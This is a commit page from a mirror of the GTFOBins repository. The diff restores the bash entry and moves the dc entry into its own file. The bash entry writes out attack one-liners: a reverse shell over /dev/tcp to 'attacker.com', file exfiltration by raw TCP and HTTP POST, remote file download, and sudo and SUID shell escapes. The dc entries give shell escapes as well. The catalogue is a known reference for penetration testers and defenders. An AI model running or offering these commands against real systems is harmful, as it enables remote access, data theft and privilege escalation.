1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-03-03 08:32:37 +01:00

Restore bash

Closes #426.
This commit is contained in:
Andrea Cardaci 2023-12-03 09:25:27 +01:00
parent e8e9b2bc4b
commit 6696d463cd
2 changed files with 71 additions and 4 deletions

View File

@ -1,9 +1,67 @@
---
functions:
shell:
- code: dc -e '!/bin/sh'
- code: bash
reverse-shell:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
file-upload:
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
file-download:
- description: Fetch a remote file via HTTP GET request.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
file-write:
- code: |
export LFILE=file_to_write
bash -c 'echo DATA > $LFILE'
- description: This adds timestamps to the output file.
code: |
LFILE=file_to_write
HISTIGNORE='history *'
history -c
DATA
history -w $LFILE
file-read:
- description: It trims trailing newlines and it's not binary-safe.
code: |
export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'
- description: The read file content is surrounded by the current history content.
code: |
LFILE=file_to_read
HISTTIMEFORMAT=$'\r\e[K'
history -r $LFILE
history
library-load:
- code: bash -c 'enable -f ./lib.so x'
suid:
- code: "./bash -p"
sudo:
- code: sudo dc -e '!/bin/sh'
limited-suid:
- code: ./dc -e '!/bin/sh'
- code: sudo bash
---

9
_gtfobins/dc.md Normal file
View File

@ -0,0 +1,9 @@
---
functions:
shell:
- code: dc -e '!/bin/sh'
sudo:
- code: sudo dc -e '!/bin/sh'
limited-suid:
- code: ./dc -e '!/bin/sh'
---